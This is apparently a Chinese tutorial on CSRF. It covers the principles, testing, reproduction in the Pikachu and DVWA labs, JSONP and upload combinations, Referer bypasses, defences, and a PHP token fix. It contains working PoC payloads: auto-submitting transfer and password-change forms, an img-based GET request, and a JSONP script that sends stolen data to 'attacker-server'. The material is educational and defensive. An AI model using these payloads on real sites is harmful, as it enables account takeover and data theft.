1. 项目概述:为什么CSRF漏洞至今仍是“隐形杀手”?
在Web安全领域,提到SQL注入、XSS,大家都能说上几句,但CSRF(跨站请求伪造)这个漏洞,却常常被开发者甚至一些安全测试人员低估。它不像SQL注入那样能直接拖库,也不像XSS那样直观地弹个窗。它更像一个“借刀杀人”的幽灵,在你毫无察觉的情况下,用你的身份和权限,去执行你本不想做的操作。比如,你正登录着网银,不小心点开了一个恶意链接,结果账户里的钱就被悄无声息地转走了。这就是CSRF的威力。
我见过太多项目,前端防护做得花里胡哨,后端接口却对CSRF门户大开。尤其是在如今前后端分离、微服务架构盛行的时代,传统的防护思路可能不再适用,而新的防护措施又没跟上,导致CSRF漏洞成了许多系统里那颗“薛定谔的雷”——你不知道它什么时候会炸,但它确实存在。今天,我们就抛开那些教科书式的定义,从攻击者的视角出发,再回到防御者的阵地,彻底拆解CSRF。我会结合近十年在渗透测试和代码审计中遇到的实际案例,告诉你CSRF漏洞的原理究竟有多简单,攻击成本有多低,以及为什么一个看似简单的漏洞,修复起来却可能牵一发而动全身。
2. 核心原理拆解:一次“冒名顶替”的完美犯罪
要理解CSRF,你必须先忘掉那些复杂的术语。我们用一个生活化的场景来类比:假设你家的门锁,认钥匙不认人。小偷不需要撬锁,他只需要在你不知情的情况下,拿到你的钥匙,或者做一个一模一样的钥匙模子,他就能大摇大摆地开门进去。在Web世界里,这把“钥匙”就是你的浏览器Cookie(或其他认证凭证),而“开门”这个动作,就是向服务器发起一个HTTP请求。
2.1 漏洞产生的三要素:天时、地利、人和
一次成功的CSRF攻击,离不开三个核心条件,缺一不可:
- 关键操作存在“幂等性”或“副作用”:攻击者诱导你发起的请求,必须是能产生实际影响的。比如修改密码、转账、发表评论、删除数据。仅仅是查询数据的GET请求,通常不构成严重威胁(但并非绝对,后面会讲)。
- 浏览器会自动携带认证信息:这是整个攻击的基石。当你登录一个网站后,浏览器会保存会话Cookie。此后,你向该网站发起的任何请求,浏览器都会自动、静默地在请求头中附上这些Cookie。服务器通过校验Cookie来识别你的身份。攻击者不需要知道你的Cookie内容,他只需要让你的浏览器发起请求,认证信息就会自动“送货上门”。
- 请求参数可被预测或构造:攻击者必须能完全伪造出这个请求。这意味着他需要知道请求的URL、方法(GET/POST/PUT/DELETE)、以及必要的参数(如转账金额、目标账户)。对于没有CSRF防护的简单应用,这些信息通过查看网页源码、抓包分析就能轻易获得。
2.2 攻击流程全景图:一场精心策划的“诱导点击”
让我们还原一个经典的攻击场景——恶意转账:
- 受害者登录:用户小明登录了
bank.com,他的浏览器里保存了有效的会话Cookie。 - 攻击者构造陷阱:黑客小黑研究
bank.com的转账接口,发现它是一个简单的POST请求,参数是to_account和amount,且没有任何CSRF Token防护。 - 陷阱部署:小黑在自己的网站
evil.com上,放置了一个隐藏的表单,或者一段自动提交的JavaScript代码。这个表单的action指向https://bank.com/transfer,并预设了参数to_account=黑黑的账户&amount=10000。 - 诱导触发:小黑通过社交工程学,诱使小明点击
evil.com上的一个链接(比如“点击查看你的年度账单!”)。 - 攻击执行:小明的浏览器访问
evil.com,页面加载后,隐藏的表单被自动提交,或者恶意JS代码执行,向bank.com发起了一个POST转账请求。关键点来了:由于小明已经登录bank.com,浏览器在发起这个跨站请求时,会自动带上bank.com的Cookie。 - 服务器中招:
bank.com的服务器收到请求,一看Cookie有效,是小明本人发来的,参数齐全,逻辑通顺。于是,它毫不犹豫地执行了转账操作。 - 攻击完成:小明的账户被转走一万元,而他本人可能毫无感知,只是在
evil.com上看到了一个“页面加载错误”的提示。
整个过程中,攻击者小黑从未接触到小明的Cookie,他只是在利用浏览器“自动携带Cookie”这个默认且合理的安全机制。这就是CSRF被称为“跨站请求伪造”的原因——请求是从小明自己的浏览器发出的,但却是被小黑在另一个站点(跨站)伪造的。
注意:不要以为只有表单提交才能攻击。通过
<img src=”…”>、<script src=”…”>等标签发起的GET请求,同样可以触发CSRF。例如,在一个论坛帖子中插入<img src=”https://bank.com/delete?id=123″>,只要用户已登录且该删除接口是GET方式且无防护,图片加载失败的同时,数据可能已经被删除。
3. 漏洞挖掘与复现:从理论到实战的“狩猎”过程
知道了原理,我们如何像攻击者一样去发现它?又如何在安全可控的环境下复现它,以验证漏洞的真实存在?这里我分享一套从黑盒到白盒的完整思路。
3.1 黑盒测试:探测器的四步扫描法
当你面对一个陌生的Web应用时,可以按以下步骤进行CSRF漏洞的初步探测:
权限与功能点梳理:
- 以已登录的普通用户和管理员身份,分别遍历整个应用。
- 重点标记所有写操作功能点:修改资料、修改密码、增删改数据、上传文件、支付、授权、登出等。
- 记录下每个功能点对应的请求URL、HTTP方法、参数结构。Burp Suite的Proxy历史记录和Target站点地图是绝佳的工具。
请求特征分析:
- 对每一个标记的写操作请求,用Burp Suite抓包并仔细查看。
- 检查关键防护标记:
- CSRF Token:请求参数或Header中是否存在一个长且随机的字符串(如
csrf_token,X-CSRF-TOKEN)?这个Token的值是否每次请求都变化?是否与Session绑定? - 自定义Header:是否检查了如
X-Requested-With: XMLHttpRequest这类Header?但这并非绝对安全,因为可以通过Flash等方式伪造。 - 验证码:敏感操作(如转账)是否有强制验证码?验证码是否在服务端一次性有效?
- Referer检查:请求头中的Referer字段是否被检查,并限定为同源域名?但Referer可能被浏览器隐私设置或HTTPS->HTTP跳转而丢失,导致误杀正常请求。
- CSRF Token:请求参数或Header中是否存在一个长且随机的字符串(如
- 如果以上防护措施均不存在,那么这个接口就存在极高的CSRF风险。
POC构造与验证:
- 对于疑似存在漏洞的接口(例如一个无防护的修改邮箱的POST请求),开始构造攻击证明(PoC)。
- GET型POC:最简单,直接构造一个URL,包含所有参数。可以放在
<img>标签的src属性里,或者作为一个链接诱骗用户点击。<img src="https://vuln-site.com/change-email?email=attacker@evil.com" width="0" height="0" /> - POST型POC:需要构造一个HTML表单,并利用JavaScript自动提交。
<html> <body> <form id="csrf-form" action="https://vuln-site.com/transfer" method="POST"> <input type="hidden" name="to" value="attacker_account" /> <input type="hidden" name="amount" value="10000" /> </form> <script> document.getElementById('csrf-form').submit(); </script> </body> </html> - 将这个HTML文件部署在你的测试服务器上(或直接本地用浏览器打开file协议),然后用已登录目标网站的浏览器访问这个HTML文件。观察目标网站的操作是否被执行(如邮箱被修改、转账成功)。
绕过尝试:
- 如果目标存在一些简单的防护,可以尝试绕过。
- Referer检查绕过:如果检查Referer但校验不严,可以尝试:
- 使用
data:协议或javascript:伪协议发起请求(现代浏览器限制较严)。 - 利用某些开放重定向漏洞,将请求包裹在目标站点的重定向链中,使Referer看起来来自本站。
- 如果网站同时支持HTTPS和HTTP,尝试从HTTPS页面发起对HTTP接口的请求,某些浏览器在安全降级时可能不发送Referer。
- 使用
- Token可预测/泄露:如果Token生成算法弱(如基于时间戳),或Token通过其他途径泄露(如JSONP接口、XSS漏洞),则防护形同虚设。
3.2 白盒审计:在代码中寻找“不设防的入口”
黑盒测试有时像盲人摸象,而代码审计则能让你看清全局。在审查代码时,我主要关注以下几个关键点:
框架的默认行为:
- 很多现代Web框架(如Spring Security、Django、Laravel)都内置了CSRF防护,但默认可能未开启,或者被开发人员误关闭。审计的第一步就是检查全局配置。例如在Spring Boot中,检查
SecurityConfig里是否调用了.csrf().disable()。 - 即使框架开启了全局防护,也可能存在防护豁免列表。检查是否有针对某些API路径(如
/api/**,/webhook/**)的ignoringAntMatchers配置。这些被豁免的接口就是突破口。
- 很多现代Web框架(如Spring Security、Django、Laravel)都内置了CSRF防护,但默认可能未开启,或者被开发人员误关闭。审计的第一步就是检查全局配置。例如在Spring Boot中,检查
请求处理流程:
- 寻找自定义的过滤器(Filter)或拦截器(Interceptor),看是否存在一个统一的CSRF检查逻辑。这个逻辑是否健全?Token的生成、存储、校验是否在同一个会话(Session)上下文中?
- 检查校验逻辑是否存在“短路”情况。例如,只检查了POST请求,而忽略了PUT、PATCH、DELETE等同样具有“写”能力的请求方法。
Token的生成与校验逻辑:
- 生成:Token是否足够随机(使用安全的随机数生成器)?是否与当前用户会话绑定?
- 存储:Token存储在服务端(Session)还是客户端(Cookie/HTML Meta Tag)?如果是后者,要确保其不可被跨域读取(如使用
HttpOnly的Cookie)。 - 校验:收到请求后,是从哪里获取客户端传来的Token(Header还是参数)?与服务端存储的Token比较时,是否进行了安全的字符串比较(防止时序攻击)?校验失败后,是返回错误状态码还是直接重定向到登录页?(后者可能暴露接口存在)
前后端分离架构的特殊性:
- 这是CSRF防护的重灾区。传统基于Session和同步Token的模式在SPA(单页应用)中变得复杂。
- 常见错误模式:后端API完全依赖Token(如JWT)进行认证,认为有了Token就安全,从而忽略了CSRF防护。这是致命的误解!只要浏览器会自动携带认证信息(无论是Cookie中的JWT还是传统的Session ID),CSRF风险就存在。
- 正确的做法:对于使用Cookie存储JWT的应用,必须同样实施CSRF防护。可以将CSRF Token放在另一个Cookie中(非
HttpOnly),前端JS读取后,通过自定义Header(如X-CSRF-TOKEN)随请求发送,后端进行比对。
实操心得:在审计一个Java Spring项目时,我发现其登录接口和所有
/api/public/**下的接口都被配置为忽略CSRF检查,理由是“这些是公开接口”。但其中有一个/api/public/user/updateProfile接口,设计上是允许已登录用户修改公开信息的。这导致了严重的逻辑漏洞:攻击者可以伪造请求,让已登录用户修改自己的公开信息(如昵称为恶意内容)。永远记住:CSRF防护的边界应该是“是否依赖浏览器自动携带的认证信息”,而不是“接口是否公开”。
4. 靶场实战:以Pikachu和DVWA为例手把手复现
理论说再多,不如亲手操作一遍。我们选择两个经典的、自带CSRF漏洞的靶场:Pikachu和DVWA,来完整走一遍攻击流程。这能让你对漏洞的细节有肌肉记忆般的理解。
4.1 Pikachu靶场CSRF(GET型)
Pikachu靶场的CSRF模块提供了一个非常直观的GET型漏洞案例。
- 环境启动与登录:启动Pikachu靶场,访问首页。我们先以受害者身份(比如用户
lucy,密码123456)登录系统。 - 定位漏洞功能:登录后,在左侧菜单找到“CSRF” -> “CSRF(get)”。这个页面模拟了一个“修改个人信息”的功能,其中包含修改邮箱的输入框。
- 正常操作抓包:在邮箱框输入一个新邮箱(如
lucy_new@test.com),点击“修改”按钮。同时用Burp Suite开启代理拦截请求。 - 分析请求:你会拦截到一个GET请求,类似:
可以看到,所有修改参数(性别、电话、地址、邮箱)都直接暴露在URL的查询字符串中,且没有任何Token或Referer检查。GET /pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=女&phonenum=123456789&add=地球&email=lucy_new@test.com&submit=submit HTTP/1.1 - 构造恶意链接:作为攻击者,我们想将
lucy的邮箱改为我们控制的attacker@evil.com。那么恶意链接就是:http://靶场地址/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=女&phonenum=123456789&add=地球&email=attacker@evil.com&submit=submit - 实施攻击:我们将这个链接通过某种方式(比如在论坛发一张图片,其
src就是这个链接)发送给已登录的lucy。当lucy的浏览器尝试加载这个图片时,就会自动发起GET请求,她的邮箱就在不知情中被修改了。在靶场中,你可以直接复制这个链接,在已登录lucy账户的浏览器新标签页中访问,然后返回个人信息页面查看,邮箱已被篡改。
漏洞点总结:该接口使用GET方法执行写操作,且参数完全暴露,无任何二次确认或Token防护。
4.2 DVWA靶场CSRF(POST型)与安全级别分析
DVWA(Damn Vulnerable Web Application)的CSRF模块设置了不同的安全等级,非常适合学习防护和绕过。
1. Low安全级别:
- 漏洞复现:安全级别调到Low。页面是一个修改密码的功能。正常修改密码,用Burp抓包,会发现是一个简单的POST请求,参数为
password_new,password_conf,Change。 - 构造POC:由于是POST请求,我们需要一个自动提交的表单。
<html> <body onload="document.forms[0].submit()"> <form action="http://靶场地址/dvwa/vulnerabilities/csrf/" method="POST"> <input type="hidden" name="password_new" value="hacked"> <input type="hidden" name="password_conf" value="hacked"> <input type="hidden" name="Change" value="Change"> </form> </body> </html> - 攻击验证:将上述HTML保存,在已登录DVWA的浏览器中打开,密码瞬间被改为
hacked。
2. Medium安全级别:
- 防护机制:DVWA在Medium级别引入了
Referer检查。服务端会校验HTTP请求头中的Referer字段是否包含自己的主机名(如127.0.0.1)。 - 绕过尝试:直接使用上面的POC,会因为
Referer是本地文件路径(file:///...)或攻击者域名而被拒绝。 - 绕过方法:一种常见的绕过思路是,如果网站校验
Referer但不校验完整的URL路径,我们可以尝试在同域下找到一个开放重定向漏洞,或者利用用户可控制的内容(如头像上传点,如果返回的图片URL包含我们控制的参数),将我们的恶意请求URL“包装”一下,使得发起请求时Referer看起来来自目标站点本身。在DVWA中,为了教学演示,你可以简单地将POC文件上传到同一台服务器的某个可访问目录(假设为/hack.html),然后从http://靶场地址/hack.html访问,此时Referer就是正确的,攻击成功。这说明了仅依赖Referer检查是不安全的。
3. High安全级别:
- 防护机制:High级别使用了Anti-CSRF Token。每次访问修改密码页面时,服务器会在页面中嵌入一个随机的Token(如
<input type=’hidden’ name=’user_token’ value=’随机字符串’ />),提交修改请求时,必须携带这个Token,服务端会验证其是否与Session中存储的一致。 - 攻击难点:攻击者无法预先知道这个Token的值,因为它与用户的当前会话绑定且一次性有效。这基本阻断了标准的CSRF攻击。
- 可能的突破:除非网站存在其他漏洞,如XSS。如果攻击者能在目标站点注入恶意脚本,他就可以利用XSS窃取页面中的Token,然后构造出包含正确Token的CSRF请求。这属于组合漏洞攻击,难度大大增加。
注意事项:在真实环境中,Token的存储和校验必须严谨。Token应存储在服务器端Session中,而不是通过Cookie发送(防止被攻击者读取)。校验时,应使用恒定时间比较函数,防止通过响应时间差来猜测Token。
5. 高级攻击场景与组合拳
基础的CSRF攻击已经很有威胁,但当它与其他漏洞或特性结合时,会产生更强大的破坏力。
5.1 当CSRF遇上JSONP:防不胜防的数据泄露
JSONP(JSON with Padding)是一种用于跨域获取数据的古老技术。它通过<script>标签加载一个返回JS代码的URL,从而实现跨域通信。如果目标站点存在一个JSONP接口,且该接口返回敏感数据(如用户信息),同时该接口的调用不验证来源,那么它就可能成为CSRF攻击的帮凶。
攻击流程:
- 攻击者发现目标站点
target.com有一个JSONP接口:https://target.com/api/userInfo?callback=processData。 - 该接口会根据当前用户的Cookie返回其个人信息,并以
processData({“name”:”Alice”, “email”:”…”})的形式包裹。 - 攻击者在自己的站点
evil.com上编写一个页面,其中定义了processData函数,用于窃取数据。<script> function processData(data) { // 将窃取到的用户数据发送到攻击者服务器 var img = new Image(); img.src = ‘https://attacker-server/steal?data=’ + encodeURIComponent(JSON.stringify(data)); } </script> <script src=”https://target.com/api/userInfo?callback=processData”></script> - 诱导已登录
target.com的用户访问evil.com。浏览器会执行<script>标签,向target.com发起请求(携带用户的Cookie),target.com返回用户数据,并调用evil.com页面中定义的processData函数,数据就这样被窃取了。
防御措施:严格限制JSONP接口的使用,对callback参数进行白名单过滤或直接禁用JSONP,改用更安全的CORS(跨域资源共享)机制。
5.2 当CSRF遇上文件上传:获取Webshell的捷径
如果一个网站存在CSRF漏洞的文件上传点,攻击将变得极其危险。攻击者可以构造一个CSRF请求,诱骗已登录的管理员上传一个包含恶意代码的文件(如PHP Webshell),从而直接控制服务器。
攻击流程:
- 攻击者分析目标站点的文件上传功能,了解其请求格式(Content-Type通常为
multipart/form-data)。 - 构造一个自动提交的表单,表单中包含一个文件上传字段,其值指向攻击者服务器上的一个恶意脚本文件。注意:由于浏览器安全限制,通过纯HTML表单无法直接设置
<input type=”file”>的值。因此,这种攻击通常需要借助Flash或旧版浏览器的漏洞,或者利用站点的其他功能(如“通过URL上传”)来实现。更常见的是,攻击者先利用XSS漏洞在目标站点注入一段JS代码,该JS代码可以构造复杂的FormData并发送,从而绕过文件控件的限制。 - 诱导管理员访问恶意页面,触发文件上传请求。
防御措施:文件上传功能必须进行多重防护:1) 服务端校验文件类型(检查MIME类型和文件头,而非仅后缀名);2) 重命名上传文件,避免直接执行;3) 将上传目录设置为不可执行;4) 最重要的是,为上传接口添加强CSRF Token验证。
5.3 基于Flash的CSRF:被遗忘但未绝迹的攻击向量
在Flash仍被广泛使用的年代,它是CSRF攻击的利器。因为Flash可以发起跨域请求,并且可以自定义HTTP请求头(如Content-Type,Referer),这可以用来绕过一些简单的检查。虽然Flash现已基本被淘汰,但在一些遗留系统或特定环境中,了解这种攻击方式仍有必要。其核心是利用Flash的URLRequest和URLLoader类,在用户不知情的情况下发起伪造请求。
6. 防御体系构建:从“亡羊补牢”到“未雨绸缪”
防御CSRF,绝不是简单加一个Token就万事大吉。我们需要建立一个纵深防御体系。
6.1 防御黄金标准:同步器令牌模式(Synchronizer Token Pattern)
这是目前最主流、最有效的防御方案,前面DVWA High级别采用的就是这种模式。
- 原理:服务器在用户会话中生成一个随机、不可预测的令牌(Token),并将其发送给客户端(通常隐藏在表单的隐藏字段中,或放在页面的
<meta>标签里)。当客户端提交表单或发起敏感请求时,必须将这个令牌一并提交。服务器收到请求后,比对客户端提交的令牌和服务器会话中存储的令牌是否一致,以此判断请求的合法性。 - 关键实现细节:
- 令牌生成:必须使用密码学安全的随机数生成器(CSPRNG),如Java的
java.security.SecureRandom,PHP的random_bytes()。 - 令牌绑定:令牌必须与当前用户会话(Session)绑定。每个会话应使用独立的令牌。
- 令牌存储:服务器端将令牌存储在Session中。切勿将令牌放在Cookie里发送,因为Cookie会被浏览器自动携带,失去了防CSRF的意义。
- 令牌提交:对于表单,放在隐藏字段;对于AJAX请求,可以放在一个自定义的HTTP请求头中(如
X-CSRF-TOKEN)。放在头里比放在参数中更安全,因为一些旧的攻击向量(如通过<img>标签发起的简单GET请求)无法自定义请求头。 - 令牌校验:校验失败时,应返回明确的错误(如403 Forbidden),并记录日志,而不是静默失败或重定向。
- 令牌生成:必须使用密码学安全的随机数生成器(CSPRNG),如Java的
6.2 双重Cookie验证:适用于API场景的简易方案
在一些纯API、前后端分离且使用Token(如JWT)认证的场景下,同步器令牌模式可能稍显笨重。双重Cookie验证是一个不错的替代方案。
- 原理:
- 用户登录后,后端在响应中设置两个Cookie:
SessionID(或JWT):用于身份认证,标记为HttpOnly、Secure。CSRF-TOKEN:一个随机值,不标记为HttpOnly。
- 前端JavaScript可以读取
CSRF-TOKEN这个Cookie的值。 - 前端在发起任何非幂等的请求(POST, PUT, DELETE等)时,需要将这个Token值放到一个自定义的HTTP头中,例如
X-CSRF-TOKEN。 - 后端收到请求后,从Cookie中读取
CSRF-TOKEN的值,与请求头X-CSRF-TOKEN中的值进行比较。一致则通过。
- 用户登录后,后端在响应中设置两个Cookie:
- 为什么有效:攻击者可以通过CSRF让浏览器发起请求并自动携带Cookie,但他无法读取到
CSRF-TOKEN这个Cookie的值(因为它是同源的),因此也无法构造出正确的X-CSRF-TOKEN请求头。 - 优点:实现相对简单,对前端框架友好,适合RESTful API。
- 注意:必须确保网站没有XSS漏洞,否则攻击者可以通过XSS窃取到
CSRF-TOKENCookie的值,从而使该防御失效。因此,防御XSS是防御CSRF的重要前提。
6.3 其他辅助与替代方案
检查Origin/Referer Header:
- 服务器可以检查请求头中的
Origin或Referer字段,判断请求是否来自同源站点。 Origin字段在现代浏览器中更可靠,它不会像Referer那样因为隐私设置而丢失,且不会包含完整的URL路径,只包含协议、域名和端口。- 局限性:在一些特殊场景下(如从HTTPS页面链接到HTTP,某些浏览器的隐私模式),这些头可能为空或被篡改(低版本浏览器或某些插件)。因此,它通常作为辅助验证手段,而非唯一依赖。
- 服务器可以检查请求头中的
自定义请求头:
- 要求前端在所有敏感请求中,添加一个自定义的HTTP头,如
X-Requested-With: XMLHttpRequest。 - 原理:通过标准的HTML表单或
<img>标签发起的CSRF攻击,无法添加自定义的HTTP头。只有通过XMLHttpRequest或Fetch API发起的请求才可以。 - 局限性:同样可以被伪造(例如通过Flash)。且如果网站本身支持CORS并配置了允许自定义头,攻击者甚至可以通过恶意网站发起带有该头的请求。因此,此方法安全性较弱。
- 要求前端在所有敏感请求中,添加一个自定义的HTTP头,如
用户交互二次确认:
- 对于极其敏感的操作(如转账、修改密码),强制要求用户进行二次验证,如输入登录密码、短信验证码、图形验证码等。
- 优点:安全性极高,能有效防御CSRF。
- 缺点:牺牲了用户体验,不能用于所有操作。
6.4 防御策略选型与部署建议
在实际项目中,我的建议是采用组合拳:
- 首选方案(传统Web应用):同步器令牌模式。这是经过时间考验的最稳妥方案。大多数Web框架(Spring Security, Django CSRF Middleware, Laravel VerifyCsrfToken)都内置了此功能,直接开启并正确配置即可。
- 备选方案(前后端分离/SPA):双重Cookie验证。与JWT等Token认证方案能较好融合。务必配合严格的CORS策略和XSS防护。
- 强制要求(所有场景):关键操作使用POST等非GET方法。遵循RESTful规范,GET只用于查询,写操作一律用POST/PUT/DELETE。这能防范最简单的基于
<img>标签的GET型CSRF。 - 辅助加固:对敏感接口,可同时启用Origin检查作为第二道防线。
- 底线保障:对于核心资金、账号安全操作,必须引入用户二次验证(密码、验证码)。
部署时,务必在安全测试阶段,使用自动化工具(如Burp Suite的CSRF PoC Generator)和手动测试,验证所有写操作接口的防护是否生效。
7. 漏洞修复实战:以74CMS靶场文件上传CSRF为例
我们结合一个具体案例——74CMS(骑士人才系统)靶场中的文件上传CSRF漏洞,来演示完整的修复流程。这个漏洞场景是:后台存在一个无CSRF防护的文件上传点,攻击者可以诱骗管理员上传PHP Webshell。
漏洞分析:
- 通过审计代码或抓包,找到后台文件上传的接口,例如
/admin/upload.php。 - 分析其请求,发现它是一个POST请求,Content-Type为
multipart/form-data,参数包含file字段,且没有任何csrf_token参数或相关检查。 - 由于是后台功能,攻击者需要诱骗已登录后台的管理员触发。
修复步骤:
第一步:在服务端生成并存储Token在渲染包含上传表单的页面时,在服务端(如PHP)生成Token。
// upload_form.php session_start(); if (empty($_SESSION[‘csrf_token’])) { // 使用 cryptographically secure 方式生成随机token $_SESSION[‘csrf_token’] = bin2hex(random_bytes(32)); } $csrf_token = $_SESSION[‘csrf_token’];在表单中输出这个Token:
<form action=”/admin/upload.php” method=”post” enctype=”multipart/form-data”> <input type=”hidden” name=”csrf_token” value=”<?php echo $csrf_token; ?>”> <input type=”file” name=”file”> <input type=”submit” value=”上传”> </form>第二步:在接收端验证Token在处理上传请求的脚本(upload.php)中,首先验证Token。
// upload.php session_start(); if ($_SERVER[‘REQUEST_METHOD’] === ‘POST’) { $submitted_token = $_POST[‘csrf_token’] ?? ‘’; $stored_token = $_SESSION[‘csrf_token’] ?? ‘’; // 使用hash_equals进行恒定时间比较,防止时序攻击 if (empty($stored_token) || !hash_equals($stored_token, $submitted_token)) { http_response_code(403); die(‘CSRF Token验证失败’); } // Token验证通过后,可以销毁或更新,确保一次性使用 unset($_SESSION[‘csrf_token’]); // 接下来处理文件上传逻辑... // 1. 检查文件类型、大小 // 2. 重命名文件 // 3. 移动到非Web可访问目录或进行安全处理 }第三步:为AJAX请求适配如果上传功能是通过AJAX实现的,需要将Token放在HTTP头中发送。
- 在页面中,将Token也输出到一个
<meta>标签中,供JS读取。<meta name=”csrf-token” content=”<?php echo $csrf_token; ?>”> - 在前端JS中,设置全局的AJAX头。
// 使用jQuery示例 var csrfToken = $(‘meta[name=”csrf-token”]’).attr(‘content’); $.ajaxSetup({ headers: { ‘X-CSRF-TOKEN’: csrfToken } }); - 在后端
upload.php中,修改验证逻辑,同时检查POST参数和X-CSRF-TOKEN头。$submitted_token = $_POST[‘csrf_token’] ?? ($_SERVER[‘HTTP_X_CSRF_TOKEN’] ?? ‘’);
第四步:补充防御措施
- 文件内容安全检查:即使通过了CSRF验证,文件上传本身也极危险。必须进行:
- 白名单校验文件扩展名和MIME类型。
- 检查文件头(Magic Bytes)确保真实类型。
- 对图片进行重采样或转换,破坏可能嵌入的脚本。
- 将上传的文件重命名为随机字符串,并存储在Web根目录之外,通过一个安全的脚本来代理访问。
- 权限控制:确保上传接口只有授权管理员可访问。
- 日志审计:记录所有上传操作,包括时间、IP、用户、文件名,便于事后追溯。
修复验证: 修复后,再次尝试使用之前的CSRF POC进行攻击。你会发现,由于无法提供正确的、与当前管理员会话绑定的Token,请求会被服务器拒绝,返回403错误。漏洞至此被成功修复。
CSRF漏洞的原理简单,但危害巨大,且修复需要开发者对Web通信机制有清晰的认识。它提醒我们,安全是一个整体,不能只关注前端展示或核心业务逻辑,每一个与用户交互的端点,尤其是执行动作的端点,都必须放在身份验证和授权之后,仔细考量其是否可能被伪造。最好的防御,是将同步器令牌模式这样的标准防护作为基础设施的一部分,在项目初期就集成进去,而不是在出现安全问题后再亡羊补牢。